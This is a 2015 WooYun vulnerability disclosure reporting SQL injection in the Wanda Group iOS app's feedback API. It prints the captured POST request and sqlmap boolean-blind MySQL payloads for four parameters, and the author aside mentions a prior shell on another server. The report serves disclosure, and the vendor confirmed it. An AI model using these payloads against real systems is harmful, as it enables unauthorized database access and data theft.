当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089880

漏洞标题:APP终结者15#万达集团APP云端主站多处sql注入03

相关厂商:大连万达集团股份有限公司

漏洞作者: zzR

提交时间:2015-01-04 10:51

修复时间:2015-02-18 10:52

公开时间:2015-02-18 10:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-04: 细节已通知厂商并且等待厂商处理中
2015-01-04: 厂商已经确认,细节仅向厂商公开
2015-01-14: 细节向核心白帽子及相关领域专家公开
2015-01-24: 细节向普通白帽子公开
2015-02-03: 细节向实习白帽子公开
2015-02-18: 细节向公众公开

简要描述:

你爱我吗?

详细说明:

万达集团 ios app v2.2

POST /wanda3v/h/addfeedback.html HTTP/1.1
Host: app.wanda.cn
Proxy-Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 229
Connection: close
Cookie: Hm_lpvt_cd44f738169a36ff869eee3ca6afb9b1=1420337769;
Hm_lvt_cd44f738169a36ff869eee3ca6afb9b1=1420118152,1420337420,1420337769
User-Agent: 万达集团 2.2 rv:7045 (iPhone; iPhone OS 8.1.2; zh_CN)
devid=192F4332-50C9-45D5-9CE5-
02BAE96B5C2E&devicetype=0&resolution=1136%2A640&appversion=2.2&devtype=0&content=fs&vid=7d996adaf86b4
4d2913a6366808926d5&email=1221%40qq.com&sysversion=8.1.2&phonemodel=iPhone%206&systype=iPhone%20OS


多个参数存在sql注入

漏洞证明:

sqlmap identified the following injection points with a total of 7629 HTTP(s) requests:
---
Parameter: content (POST)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: devid=192F4332-50C9-45D5-9CE5-02BAE96B5C2E&devicetype=0&resolution=1136*640&a
ppversion=2.2&devtype=0&content=fs' RLIKE (SELECT (CASE WHEN (7172=7172) THEN 0x6673 ELSE
0x28 END)) AND 'Vgrh'='Vgrh&vid=7d996adaf86b44d2913a6366808926d5&[email protected]&sysvers
ion=8.1.2&phonemodel=iPhone 6&systype=iPhone OS
Parameter: devicetype (POST)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: devid=192F4332-50C9-45D5-9CE5-02BAE96B5C2E&devicetype=0' RLIKE (SELECT (CASE
WHEN (7522=7522) THEN 0 ELSE 0x28 END)) AND 'CAqA'='CAqA&resolution=1136*640&appversion=2.
2&devtype=0&content=fs&vid=7d996adaf86b44d2913a6366808926d5&[email protected]&sysversion=8
.1.2&phonemodel=iPhone 6&systype=iPhone OS
Parameter: vid (POST)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: devid=192F4332-50C9-45D5-9CE5-02BAE96B5C2E&devicetype=0&resolution=1136*640&a
ppversion=2.2&devtype=0&content=fs&vid=7d996adaf86b44d2913a6366808926d5' RLIKE (SELECT (CA
SE WHEN (4488=4488) THEN 0x376439393661646166383662343464323931336136333636383038393236643
5 ELSE 0x28 END)) AND 'UkkU'='UkkU&[email protected]&sysversion=8.1.2&phonemodel=iPhone 6&
systype=iPhone OS
Parameter: email (POST)
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: devid=192F4332-50C9-45D5-9CE5-02BAE96B5C2E&devicetype=0&resolution=1136*640&a
ppversion=2.2&devtype=0&content=fs&vid=7d996adaf86b44d2913a6366808926d5&[email protected]'
RLIKE (SELECT (CASE WHEN (8648=8648) THEN 0x313232314071712e636f6d ELSE 0x28 END)) AND 'M
tMZ'='MtMZ&sysversion=8.1.2&phonemodel=iPhone 6&systype=iPhone OS
---
[10:34:09] [WARNING] changes made by tampering scripts are not included in shown payload c
ontent(s)
there were multiple injection points, please select the one to use for following injection
s:
[0] place: POST, parameter: devicetype, type: Single quoted string (default)
[1] place: POST, parameter: content, type: Single quoted string
[2] place: POST, parameter: vid, type: Single quoted string
[3] place: POST, parameter: email, type: Single quoted string
[q] Quit
>
[10:34:26] [INFO] testing MySQL
[10:34:26] [INFO] confirming MySQL
[10:34:26] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0


1.png


目测和前面getshell 的服务器不是同一台内网服务器,有搞头

修复方案:

下线更新吧!

版权声明:转载请注明来源 zzR@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-01-04 10:53

厂商回复:

感谢zzR同学的关注与贡献!马上通知业务整改!

最新状态:

暂无